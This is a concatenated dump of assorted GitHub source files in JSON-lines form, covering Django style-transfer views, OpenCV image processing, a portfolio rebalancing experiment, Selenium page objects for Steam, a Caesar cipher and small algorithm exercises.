measures_edit(request, id):\n measure = get_object_or_404(Measure, id=id)\n\n if request.method == 'POST':\n form = MeasureForm(request.POST, instance=measure)\n if form.is_valid():\n form.save()\n return redirect('/measures/')\n\n context = {\n 'measure': measure,\n }\n return render(request, 'mainapp/measures_edit.html', context)\n\n\ndef measures_delete(request, id):\n measure = get_object_or_404(Measure, id=id)\n measure.delete()\n return redirect('/measures/')\n","repo_name":"AlexTheMaggot/sagsystem","sub_path":"sagsystem/mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34300811829","text":"import os\nimport json\n\npath = '../public/data'\nMIN_NEEDED_FILES_TO_COMPARE = 3\n\nfrom presets import albums\n\n\ndef get_useful_files(jsonfile):\n\n useful = ['descr.json',]\n with open(jsonfile, 'r', encoding='utf8') as content:\n data = json.load(content)\n\n sections = []\n if 'episodes' in data:\n sections.append({'episodes': data['episodes']})\n elif 'sections' in data:\n sections = data['sections']\n\n\n for section in sections:\n for episode in section['episodes']:\n if 'photos' in episode:\n for p in episode['photos']:\n useful.append(p)\n elif 'photo' in episode:\n useful.append(episode['photo'])\n elif 'video' in episode:\n useful.append(episode['video'])\n if 'poster' in episode:\n useful.append(episode['poster'])\n\n return useful\n\ndef purge_dir(dirname, useful):\n\n if len(useful) < MIN_NEEDED_FILES_TO_COMPARE:\n # silently eximus\n return\n\n for filename in sorted(os.listdir(dirname)):\n trimmed = filename.removesuffix('.webp')\n extended = filename+'.webp'\n if not (filename in useful) and not (trimmed in useful) and not (extended in useful):\n print(f' delete {filename}')\n os.remove('%s/%s' % (dirname, filename))\n\n\nfor album, dates in albums.items():\n\n for date in dates:\n\n dirname = f'{path}/{album}/{date}'\n print(f'Directory {date}')\n\n if not os.path.isdir(dirname):\n print('Directory \"%s\" not found, ignoring this date' % dirname)\n continue\n\n jsonfile = '%s/descr.json' % (dirname)\n\n if not os.path.isfile(jsonfile):\n print('JSON file \"%s\" not found, ignoring this date' % jsonfile)\n continue\n\n useful = get_useful_files(jsonfile)\n\n if len(useful) < MIN_NEEDED_FILES_TO_COMPARE:\n print('Not enough useful file to judge, ignoring this date')\n continue\n\n purge_dir(dirname, useful)\n","repo_name":"skirienko/photos","sub_path":"raw/purge.py","file_name":"purge.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33266665539","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 10 08:12:51 2023\n\n@author: João Bettencourt\n\"\"\"\n\n#%%\n#Ex12\n#b)\n#------->5 0 2 7 8 1 1 0 2 0 1 0 3 X\n\n#Multiplicar\n#------->2x\n\n#------->10 0 4 16 1 1 2 0 4 0 2 0 6 X\n#------->1 0 4 7 7 1 2 0 4 0 2 0 6 X = 34+X\n\n#------->X = 6\n\n#b)\nnc='40212888881882'\ndef autenticar_cartao(nc):\n L=list(nc)\n L.reverse()\n #reverter o numero\n #somente percorrer lista para transformar tudo em inteiro\n for i in range(0,len(L)):\n L[i]=int(L[i])\n #Assim basta começar na posição 1 e ir ate ao fim\n for i in range(1,len(L),2):\n L[i]=L[i]*2\n if L[i]>9:\n L[i]=L[i]//10+L[i]%10\n if sum(L)%10==0:\n print('Cartao válido')\n else:\n print('Cartao inválido')\n\ndef autenticar_cartao2(nc):\n L=list(nc)\n for i in range(0,len(L)):\n L[i]=int(L[i])\n #começar na penultima posicao\n for i in range(len(L)-2,0,-2):\n L[i]=int(L[i])*2\n if L[i]>9:\n L[i]=L[i]//10+L[i]%10\n if sum(L)%10==0:\n print('Cartao válido')\n else:\n print('Cartao inválido')\n\n#%%\n\nimport networkx as nx\n\narestas=[('X','Y'),('Y','W'),('X','Z'),('X','W'),('Z','Y'),('Z','W'),('Z','W')]\n\nG=nx.DiGraph(arestas)\n\nnx.draw_networkx(G, kwds)","repo_name":"JoaoBett/EI_MD","sub_path":"FIchaPratica5/aula_3.py","file_name":"aula_3.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38299628543","text":"#----------------BG Coba-coba------------------#\r\n\"\"\"\r\nimport cv2 as cv \r\nimport numpy as np \r\n \r\ndef rescale(frame, scale=0.45): \r\n dimension = (int(frame.shape[1]*scale),int(frame.shape[0]*scale)) \r\n return cv.resize(frame, dimension,interpolation=cv.INTER_AREA) \r\n \r\n#Untuk memilih data image yang akan dibaca\r\nimageBase = cv.imread('Dataset/Kemangi/001.jpg') \r\n\r\n#Untuk print info image dalam array \r\nprint(imageBase)\r\n\r\n#Untuk menampilkan resolusi image h x w \r\nprint(imageBase.shape)\r\n \r\n#Untuk crop image\r\nim_crop = imageBase[400:300,1200:900] \r\ncv.imshow('crop',im_crop) \r\ncv.waitKey(0) \r\nprint(im_crop.shape) \r\n\r\n#Untuk mengcopy image dan edit contras\r\nimageCopy = imageBase.copy() \r\neditContrast = cv.addWeighted(imageCopy,2,np.zeros(imageCopy.shape,imageCopy.dtype),0,-100) \r\nrenderEdge = cv.Canny(editContrast, 100,200) \r\n\r\n#Untuk menampilkan hasil image\r\ncv.imshow('Kemangi', rescale(imageBase)) \r\n# cv.imshow('Kemangi copy', rescale(editContrast)) \r\ncv.imshow('Kemangi copy', rescale(renderEdge)) \r\ncv.waitKey(0) \r\ncv.destroyAllWindows()\r\n\"\"\"\r\n\r\n#----------------BG Eksekusi------------------#\r\n\r\nimport cv2 as cv\r\nimport numpy as np\r\nimport glob\r\n\r\ndef rescale(frame, scale=0.45):\r\n dimension = (int(frame.shape[1]*scale),int(frame.shape[0]*scale))\r\n return cv.resize(frame, dimension,interpolation=cv.INTER_AREA) \r\n\r\nimdir = 'Dataset/Kemangi/'\r\next = ['jpg']\r\nfiles = []\r\n[files.extend(glob.glob(imdir+'*.'+e))for e in ext]\r\nimages = [cv.imread(file)for file in files]\r\ni = 1\r\nfor img in images :\r\n if (i <= 50):\r\n print(img)#print image information as array\r\n print(img.shape)#show image resolution h x w\r\n imageCopy = img.copy()\r\n editContrast = cv.addWeighted(imageCopy,2.5,np.zeros(imageCopy.shape,imageCopy.dtype),0,-100)\r\n im_gray = cv.cvtColor(imageCopy,cv.COLOR_BGR2GRAY)\r\n renderEdge = cv.Canny(im_gray, 100,200)\r\n \"\"\"\r\n cv.imshow(str(i), rescale(img))\r\n # cv.imshow('nangka copy', rescale(editContrast))\r\n cv.imshow(str(i) + ' edge', rescale(renderEdge))\r\n \"\"\"\r\n im_name = \"Dataset/Kemangi_edge/\" + str(i) + \".jpg\"\r\n cv.imwrite(im_name, renderEdge)\r\n else:\r\n break \r\n # im_kon = cv.addWeighted(img,1.5,np.zeros(img.shape,img.dtype),0,-100)\r\n # im_name = \"dataset/pepaya_kon/\" + str(i) + \".png\"\r\n # cv.imwrite(im_name, im_kon)\r\n i+=1\r\ncv.waitKey(0)\r\ncv.destroyAllWindows() ","repo_name":"Nielchen165/Tugas_AI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28214796951","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom lewisfunctions.frequency import calculate_frequency\n\nsampling_frequency = 41666.666666\ntime = np.arange(0, 3, 1/sampling_frequency)\nf = 900\nOne_sin = np.sin(2*np.pi*f*time)\n#plt.figure('one_sin')\n#plt.plot(time, One_sin)\nTwo_sin = 4*np.sin(2*np.pi*f*time) + 2*np.sin(2*np.pi*f*2*time)\n#plt.figure('Two_sin')\n#plt.plot(time, Two_sin)\nnoise = np.random.normal(0, 1, len(time))\n\nnoisy = 255*One_sin + 0.01*noise\nplt.plot(noisy)\nfest = calculate_frequency(noisy[::20], fs=sampling_frequency/20, method='spectral')\nmeasured = calculate_frequency(noisy, temporal_threshold=0.05, fs=sampling_frequency, crossing_threshold= 4, ascending=False, estimated_frequency=fest[0], method='simple')\n\nfrequency = measured\nplt.plot(frequency[:-1], frequency[1:], \"*\")\nplt.gca().set_aspect('equal', adjustable='box')\nplt.xlim([min(frequency), max(frequency)])\nplt.ylim([min(frequency), max(frequency)])\n# plt.plot('Correlation')\n# plt.acorr(frequency, usevlines=True, maxlags=50, normed=True, lw=2)\n# plt.grid(True)\n# plt.axhline(0, color='black', lw=2)\n# plt.title('Correlation')\n\n\nfrom scipy.signal import hilbert\nsignal = noisy[1:20833333]\nanalytic_signal = hilbert(signal) # instead of EODs\namplitude_envelope = np.abs(analytic_signal)\ninstantaneous_phase = np.unwrap(np.angle(analytic_signal)) / (2.0 * np.pi)\ninstant_mod = np.mod(instantaneous_phase, 1)\ninstantaneous_frequency = np.diff(instantaneous_phase) * sampling_frequency\naveg_freq_H = np.mean(instantaneous_frequency)\ninstant_mod = instant_mod - np.mean(instant_mod)\ninstant_mod = instant_mod / np.std(instant_mod)\nthresh2 = 1.2 * np.std(instant_mod)\ninstant_mod2 = np.roll(instant_mod, -1)\ncyclei3 = np.array(np.where((instant_mod < thresh2) & (instant_mod2 > thresh2))).T\ninstant_mod_cross = time[cyclei3[1:len(cyclei3) - 1]]\ninstant_mod_period = np.diff(instant_mod_cross, axis=0)\ninstant_mod_freq = 1. / instant_mod_period\n","repo_name":"ElectricFishGirl/E_fish_toolbox","sub_path":"Signals.py","file_name":"Signals.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30510230515","text":"class Solution:\n def allPathsSource(self, graph):\n def dfs(node, path):\n path.append(node)\n if node == len(graph) - 1:\n paths.append(path.copy())\n return\n\n for next_node in graph[node]:\n dfs(next_node, path)\n path.pop()\n\n paths = []\n\n if not graph or len(graph) == 0:\n return paths\n dfs(0, [])\n return paths\n\ngraph = [[4,3,1],[3,2,4],[3],[4],[]]\nsol = Solution()\nprint(sol.allPathsSource(graph))","repo_name":"sayak1711/coding_solutions","sub_path":"coding-practice/Graph/dfs_all_path_from_root.py","file_name":"dfs_all_path_from_root.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22914219275","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n\nclass Solution:\n def leafSimilar(self, root1: Optional[TreeNode], root2: Optional[TreeNode]) -> bool:\n def getLeafs(root: Optional[TreeNode]) -> List[TreeNode]:\n result = []\n stack = []\n\n stack.append(root)\n\n while stack:\n node = stack.pop()\n\n if node is None:\n continue\n\n if node.left is None and node.right is None:\n result.append(node.val)\n\n stack.append(node.right)\n stack.append(node.left)\n\n return result\n\n return getLeafs(root1) == getLeafs(root2)\n","repo_name":"sigmarion1/daily-algo","sub_path":"leetcode-75/872.py","file_name":"872.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21100451904","text":"import argparse\nfrom dataclasses import dataclass\n\nimport numpy as np\nfrom benchmark import BenchmarkOp, add_arguments\n\n\n@dataclass\nclass OpParam:\n batch_size: int\n seq_len: int\n hidden_size: int\n data_type: type\n\n\nclass BenchmarkSkipLayerNorm(BenchmarkOp):\n def __init__(self, args):\n BenchmarkOp.__init__(self, args)\n\n @classmethod\n def create_inputs_outputs(cls, op_param):\n np.random.seed(0)\n input_data = np.random.rand(op_param.batch_size, op_param.seq_len, op_param.hidden_size).astype(\n op_param.data_type\n )\n skip = np.random.rand(op_param.batch_size, op_param.seq_len, op_param.hidden_size).astype(op_param.data_type)\n gamma = np.random.rand(op_param.hidden_size).astype(op_param.data_type)\n beta = np.random.rand(op_param.hidden_size).astype(op_param.data_type)\n bias = np.random.rand(op_param.hidden_size).astype(op_param.data_type)\n output_data = np.random.rand(op_param.batch_size, op_param.seq_len, op_param.hidden_size).astype(\n op_param.data_type\n )\n\n inputs = {\n \"INPUT\": input_data,\n \"SKIP\": skip,\n \"GAMMA\": gamma,\n \"BETA\": beta,\n \"BIAS\": bias,\n }\n outputs = {\"return_val\": output_data}\n\n return inputs, outputs\n\n def create_cases(self):\n model = (\n \"models/skip_layer_norm_fp16.onnx\" if self.args.precision == \"fp16\" else \"models/skip_layer_norm_fp32.onnx\"\n )\n data_type = np.float16 if self.args.precision == \"fp16\" else np.float32\n # bert-large\n op_param = OpParam(1, 384, 1024, data_type)\n self.add_case(op_param, model)\n\n @classmethod\n def case_profile(cls, op_param, time):\n profile = f\"(batch seq_len hidden_size) = ({op_param.batch_size} {op_param.seq_len} {op_param.hidden_size}), {time:7.4f} ms\"\n return profile\n\n\ndef main():\n parser = argparse.ArgumentParser()\n add_arguments(parser)\n args = parser.parse_args()\n bm = BenchmarkSkipLayerNorm(args)\n bm.benchmark()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"microsoft/onnxruntime","sub_path":"onnxruntime/python/tools/microbench/skip_layer_norm.py","file_name":"skip_layer_norm.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":9700,"dataset":"github-code","pt":"18"} +{"seq_id":"18626612234","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#name: Yusen Wu\n#Email: wuyusen@bu.edu\n#Assigment: 13\n#File Description: This file contains a experiment to compare portfolio value \n#under different seeting, for exmaple, rebalance or not and using efficient \n#portfolio weight or not. Statistic and graph will be produced to show the \n#output result, including portfolio weight, returns, and cumulative returns\n#Need stock file to execute the program\n\nfrom a10task1 import *\nfrom a10task2 import *\nfrom a11task1 import *\nfrom a11task2 import *\nfrom a13task1 import *\n\n#if want to do experiment, change False to True and read stock file\nif False:\n stocklist = ['AAPL.csv','GOOG.csv','AMZN.csv','BIDU.csv','BABA.csv']\n stockdata = {i[:-4]:pd.read_csv(i).set_index('Date')['Adj Close'] for i in stocklist}\n\ndef implement_and_visualize_strategy(stocklist, \n stockdata, \n equal_weight = True, \n initial_value = 10000,\n rebalance = True,\n rebalance_freq = 20,\n start_of_train = '2014-12-01',\n start_of_test = '2019-12-01',\n end_of_test = '2020-12-01'):\n \"\"\"\n implemented rebalance and efficient portfolio algorithm accoding to specification\n \"\"\"\n #divide stock data into train and test data\n train_data = [stockdata[i].loc[start_of_train:start_of_test].pct_change()[1:].tolist() for i in stockdata.keys()]\n test_data = [stockdata[i].loc[start_of_test: end_of_test] for i in stockdata.keys()]\n\n if not equal_weight:\n #implement efficient frontier algorithm and gte expecetd return and covariance\n expected_return = np.matrix(train_data).mean(axis = 1).squeeze()\n cov = np.matrix(np.cov(np.matrix(train_data)))\n\n #get desired return rate\n N = expected_return.shape[1]\n weights = np.ones(N) / N \n expected_portfolio_return = float(expected_return@weights)\n \n #get weight for global least variance portfolio\n weights = calc_min_variance_portfolio(expected_return,cov,expected_portfolio_return)\n target_weights = {i[:-4]:j for i,j in zip(stocklist,weights.tolist()[0])}\n else: \n #equal weight\n target_weights = {i[:-4]:1/len(stocklist) for i in stocklist}\n\n #get test stock prices\n prices = {i[:-4]:j for i,j in zip(stocklist,test_data)}\n prices = pd.DataFrame(prices)\n\n #implement rebalance\n if rebalance:\n values = create_rebalanced_portfolio(prices, \n target_weights, \n rebalance_freq = rebalance_freq, \n initial_value = initial_value)\n \n #no rebalance\n else:\n values = create_target_weight_portfolio(prices, \n target_weights, \n initial_value = initial_value)\n\n #plot relative weight\n plot_relative_weights_over_time(values)\n\n #show statistics\n returns = values / values.shift(1) - 1\n print('Related Statistics for Efficeint Weight and Rebalance each 20 Days')\n print(returns.describe())\n\n #show 10 day 2% value at risk and maximum drawdown\n a = compute_historical_var_pct(returns['portfolio'], 0.98, 10)\n print()\n drawdown = compute_drawdown(values['portfolio'])\n max_idx = drawdown['dd_dollars'].idxmax()\n print('The Maximum Drawdown is:')\n print(drawdown.loc[max_idx,])\n\n\n #plot returns\n returns.plot()\n plt.title('Individual Stock and Portfolio Returns for Efficeint Weight and Rebalance each 20 Days')\n plt.show()\n\n #plot cumulative returns\n returns.cumsum().plot()\n plt.title('Cumulative Individual Stock and Portfolio Returns for Efficeint Weight and Rebalance each 20 Days')\n plt.show()\n\n#Change False to True if want to do experiment\nif False:\n #euqal and no rebalance\n implement_and_visualize_strategy(stocklist, \n stockdata, \n equal_weight = True, \n initial_value = 10000,\n rebalance = False,\n rebalance_freq = 20,\n start_of_train = '2014-12-01',\n start_of_test = '2019-12-01',\n end_of_test = '2020-12-01')\n \n #euqal and rebalance\n implement_and_visualize_strategy(stocklist, \n stockdata, \n equal_weight = True, \n initial_value = 10000,\n rebalance = True,\n rebalance_freq = 20,\n start_of_train = '2014-12-01',\n start_of_test = '2019-12-01',\n end_of_test = '2020-12-01')\n \n #efficient and no rebalance\n implement_and_visualize_strategy(stocklist, \n stockdata, \n equal_weight = False, \n initial_value = 10000,\n rebalance = False,\n rebalance_freq = 20,\n start_of_train = '2014-12-01',\n start_of_test = '2019-12-01',\n end_of_test = '2020-12-01')\n \n #efficient and rebalance\n implement_and_visualize_strategy(stocklist, \n stockdata, \n equal_weight = False, \n initial_value = 10000,\n rebalance = True,\n rebalance_freq = 20,\n start_of_train = '2014-12-01',\n start_of_test = '2019-12-01',\n end_of_test = '2020-12-01')","repo_name":"RayNG123/FinancialTrading_Toolbox","sub_path":"Porfolio Management and Trading Utils/Portfolio Rebalancing/a13task2.py","file_name":"a13task2.py","file_ext":"py","file_size_in_byte":6266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5420525123","text":"# -*- coding: utf-8 -*-\nfrom .base_page import BasePage\nfrom .base_page import InvalidPageException\nfrom selenium.webdriver import ActionChains\nimport re\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport urllib.parse\n\n\nclass GamesPage(BasePage):\n\n def __init__(self, driver, data_controller, language):\n self.language = language\n super(GamesPage, self).__init__(driver, data_controller)\n\n def _validate_page(self, driver, data_controller):\n url = driver.current_url\n try:\n if urllib.parse.quote(\n data_controller.config[\"site\"][\"locators\"][\"link_text\"][self.language], safe='') not in url:\n raise Exception()\n except:\n raise InvalidPageException(\"Specified Page not loaded\")\n\n def navigate_to_specials(self):\n # Navigate to Specials tab and click it\n specials_id = self.driver.find_element_by_id(self.data_controller.config[\"site\"][\"locators\"][\"specials_id\"])\n navigate_to_specials = ActionChains(self.driver)\n navigate_to_specials.move_to_element_with_offset(specials_id, 5, 5)\n navigate_to_specials.click()\n navigate_to_specials.perform()\n\n def get_games_list_with_sales_and_click_target_game(self):\n wait = WebDriverWait(self.driver, 50)\n wait.until(EC.presence_of_all_elements_located(\n (By.XPATH, self.data_controller.config[\"site\"][\"locators\"][\"games_xpath\"])))\n\n app_ids = []\n\n # To prevent \"Element not found in the cache\" error, which happens\n # randomly because of DOM modifications use cycle with page refresh\n for attempt in range(10):\n try:\n games_elements = self.driver.find_elements_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"games_xpath\"])\n for i in games_elements:\n # Check that current game is single\n if i.get_attribute(\"data-ds-packageid\") is None:\n # Get app_id of current single game\n app_id = i.get_attribute(\"data-ds-appid\")\n app_ids.append(app_id)\n except:\n self.driver.refresh()\n else:\n break\n\n # Get discounts values in text format\n discounts = []\n for i in app_ids:\n for attempt in range(10):\n try:\n element_text = self.driver.find_element_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"discount\"][\"part_1\"] +\n i +\n self.data_controller.config[\"site\"][\"locators\"][\"discount\"][\"part_2\"]).text\n discounts.append(element_text)\n except:\n self.driver.refresh()\n else:\n break\n\n # Get discounts values using regular expression to leave only numbers\n # (without -, % and etc.)\n discounts_values = []\n for i in discounts:\n regexp = r'[^\\d]'\n value = re.sub(regexp, '', i) # TODO move regexp to config file\n if value != '':\n discounts_values.append(int(value))\n # If game has no discount paste 0 to discount value\n else:\n discounts_values.append(0)\n\n # Get dictionary with key = app_id; value = discount_value\n result = dict(zip(app_ids, discounts_values))\n\n # Get game app_id with max discount value\n target_app_id = max(result, key=result.get)\n\n target_game_discount = \"\"\n target_game_price = \"\"\n target_game_final_price = \"\"\n\n for attempt in range(10):\n try:\n target_game = self.driver.find_element_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"target_game\"][\"part_1\"] +\n target_app_id +\n self.data_controller.config[\"site\"][\"locators\"][\"target_game\"][\"part_2\"])\n # Save discount, price and final price values of the target game\n target_game_discount = self.driver.find_element_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_discount\"][\"part_1\"] +\n target_app_id +\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_discount\"][\"part_2\"]).text\n target_game_price = self.driver.find_element_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_price\"][\"part_1\"] +\n target_app_id +\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_price\"][\"part_2\"]).text\n target_game_final_price = self.driver.find_element_by_xpath(\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_final_price\"][\"part_1\"] +\n target_app_id +\n self.data_controller.config[\"site\"][\"locators\"][\"target_game_final_price\"][\"part_2\"]).text\n\n # Navigate to target game and click it\n navigate_to_target_game = ActionChains(self.driver)\n navigate_to_target_game.move_to_element_with_offset(target_game, 5, 5)\n navigate_to_target_game.click()\n navigate_to_target_game.perform()\n except:\n self.driver.refresh()\n else:\n break\n\n return(target_app_id, target_game_discount, target_game_price, target_game_final_price)\n\n def check_is_age_validation_required(self, language):\n age_validation_element_text = self.driver.find_element_by_tag_name(\n self.data_controller.config[\"site\"][\"locators\"][\"tag_name\"]).text\n if age_validation_element_text == \\\n self.data_controller.config[\"site\"][\"locators\"][\"age_validation_text\"][language]:\n return True\n else:\n return False\n","repo_name":"6ataree4ka/TC_tasks","sub_path":"task_3/pages/games_page.py","file_name":"games_page.py","file_ext":"py","file_size_in_byte":6111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27224398204","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python3\nimport re\nimport argparse\n\nfrom textwrap import dedent\n\nfrom src.crawl import crawl_directories\nfrom src.rules import FileRules\n\ndef start_crawl(path, file_extensions, number_of_threads):\n rule = FileRules(file_extensions)\n files = crawl_directories(path, rule, number_of_threads)\n return files\n\ndef parse_arguments():\n \"\"\"Arguments parser.\"\"\"\n parser = argparse.ArgumentParser(usage='%(prog)s [options] ',\n description='crawl all files in directory',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=dedent('''Examples:\n python filecrawler.py -e \"html,php,py\" -t 8 '''))\n parser.add_argument('-e', '--extension', type=str, help='Filename extensions you want to crawl')\n parser.add_argument('-t', '--thread', type=int, default=8, help=\"number of thread\")\n parser.add_argument('path', type=str, help='directory path you want to crawl')\n args = parser.parse_args()\n\n if not args.extension is None and re.match(r\"^(\\s*[a-z]+\\s*)(,\\s*[a-z]+\\s*)*$\", args.extension.lower()) is None:\n print(\"[!] Extensions are not valid, will searching for all files\")\n args.extension = None\n\n if not args.extension is None:\n args.extension = re.sub(r\"\\s+\", \"\", args.extension).split(\",\")\n\n return args.path, args.extension, args.thread\n\nif __name__ == '__main__':\n path, file_extensions, number_of_threads = parse_arguments()\n print(start_crawl(path, file_extensions, number_of_threads))","repo_name":"ariesduanmu/Spider","sub_path":"filecrawler/filecrawler.py","file_name":"filecrawler.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26620156958","text":"import requests\nfrom flask import Flask, request, jsonify, redirect\nimport os\ndef get_current_weather(zipcode):\n WEATHER_KEY = os.environ[\"c\"]\n try:\n zipcode=thedict['zipcode']\n countrycode=\"US\"\n wr = requests.get('http://api.openweathermap.org/data/2.5/weather?zip={0},{1}&appid={2}'.format(zipcode,countrycode,WEATHER_KEY))\n weatherdict=wr.json()\n except Exception:\n return dict()\n return weatherdict\n\n","repo_name":"Tempoture/Tempoture-taskrunner","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39380728790","text":"__author__ = 'Timofey Khirianov'\n# -*- coding: utf8 -*-\n\n\nclass Caesar:\n alphabet = \"яюэьыъщшчцхфутсрпонмлкйизжёедгвба\"\n\n def __init__(self, key):\n self._encode = dict()\n for i in range(len(self.alphabet)):\n letter = self.alphabet[i]\n encoded = self.alphabet[(i + key) % len(self.alphabet)]\n self._encode[letter] = encoded\n self._encode[letter.upper()] = encoded.upper()\n \n self._decode = dict()\n for i in range(len(self.alphabet)):\n letter = self.alphabet[i]\n decoded = self.alphabet[(i - key) % len(self.alphabet)]\n self._decode[letter] = decoded\n self._decode[letter.upper()] = decoded.upper()\n\n def encode(self, text):\n return ''.join([self._encode.get(char, char) for char in text])\n\n def decode(self, line):\n return ''.join([self._decode.get(char, char) for char in line])\n\n\nkey = int(input('Ээъыцмъ фубз:')) #Введите ключ\ncipher = Caesar(key)\nline = input()\nwhile line:\n print(cipher.decode(line))\n line = input()","repo_name":"LevTG/Python_Projects","sub_path":"Shtirlitz/Caesar.py","file_name":"Caesar.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15654969234","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect,Http404\nfrom django.views.generic import TemplateView\nfrom django.core.files.storage import FileSystemStorage\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.models import load_model\nimport numpy as np\nimport PIL\nfrom PIL import Image\nimport time\nimport functools\nimport IPython.display as display\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport os\nfrom django.conf import settings\nfrom . import models as md\nfrom django.contrib.auth.models import User\nmodels={}\nmodels['1'] = load_model(\"static/car_model.h5\",compile=False)\nmodels['2'] = load_model(\"static/model1.h5\",compile=False)\nmodels['3'] = load_model(\"static/model2.h5\",compile=False)\nmodels['4'] = load_model(\"static/model3.h5\",compile=False)\nmodels['5'] = load_model(\"static/model4.h5\",compile=False)\nmodels['6'] = load_model(\"static/model5.h5\",compile=False)\nmodels['7'] = load_model(\"static/model6.h5\",compile=False)\nmodels['8'] = load_model(\"static/model7.h5\",compile=False)\nmodels['9'] = load_model(\"static/model8.h5\",compile=False)\n# Create your views here.\ncontext={}\ndef load_img(path_to_img):\n img = tf.io.read_file(path_to_img)\n # Workaround\n img = tf.image.decode_png(img, channels=3)\n img = tf.image.convert_image_dtype(img, np.float32)\n #img = tf.image.resize(img, [800, 800])\n img = img[tf.newaxis, :]\n return img\ndef tensor_to_image(tensor):\n tensor = tf.image.convert_image_dtype(tensor, np.uint8)\n tensor = tf.squeeze(tensor)\n plt.figure(figsize=(20,10))\n plt.axis('off')\n c=tf.keras.backend.eval(tensor)\n plt.imsave(context['path'],c)\n #context['url']=\"media/new.jpg\"\n return None\ndef home(request):\n for i in os.listdir(settings.MEDIA_ROOT):\n os.remove(settings.MEDIA_ROOT+'/'+i)\n return render(request,'transfer/first_page.html')\ndef modelview(request,value):\n models['req']=models[str(value)]\n if request.method=='POST':\n uploaded_file=request.FILES['document']\n fs=FileSystemStorage()\n name=fs.save(uploaded_file.name,uploaded_file)\n context['path']='media/'+str(uploaded_file.name)\n context['url']=fs.url(name)\n context['value']=value\n return render(request,'transfer/upload.html',context)\n#class Home(TemplateView):\n# template_name='home.html'\ndef download(request):\n model=models['req']\n s=context['url']\n x=load_img('{}'.format(s[1:]))\n #l=load_img(\"static/style.jpeg\")\n p=model(x)\n plt.subplot(1, 2, 1)\n tensor_to_image(p)\n return render(request,'transfer/edit_style-1.html',context)\ndef returnhome(request):\n path=context['path']\n os.remove(path)\n return render(request,'transfer/first_page.html')\ndef about(request):\n return render(request,'transfer/about_us.html')\ndef feedback(request):\n return render(request,'transfer/feedback.html')\ndef submit(request):\n fname=request.POST['firstname']\n lname=request.POST['lastname']\n mail=request.POST['mailid']\n country=request.POST['country']\n feed=request.POST['subject']\n user1=md.user(fname=fname,lname=lname,mail=mail,country=country,feed=feed)\n user1.save()\n return render(request,'transfer/first_page.html')\n","repo_name":"swahan1230/sample","sub_path":"transfer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11057592452","text":"from os import listdir\nimport csv\n\n''' Helper methods to perform of file operations.'''\n'''\nChecks if all characters are ascii. If not skip that comment.\n'''\ndef is_ascii(sentence):\n return all(ord(c) < 128 for c in sentence)\n \n'''\nDescription: Write given list of strings to specified filename. Overwrites contents if file already exists.\nInput: filename and string list\nOutput: None\n'''\ndef writeStringListToCsv(filename, listofitems):\n outFile = open(filename,'wb')\n writer = csv.writer(outFile)\n for item in listofitems:\n # some error arises due to non-ascii characters. skip it.\n #try:\n #if is_ascii(item):\n writer.writerow([item])\n #except Exception as e:\n #print e\n # pass\n\n outFile.close()\n return\n\n\n'''\nDescription: List each row from csv as string and build list of strings.\nInput: filename from where to read. Full path should be provided\nOutput: List of strings.\n'''\ndef readCsvToStringList(filename):\n infile = open(filename, 'rb')\n reader = csv.reader(infile)\n mylist = []\n for row in reader:\n mylist.append(row[0])\n\n infile.close()\n return mylist\n\n'''\nDescription: 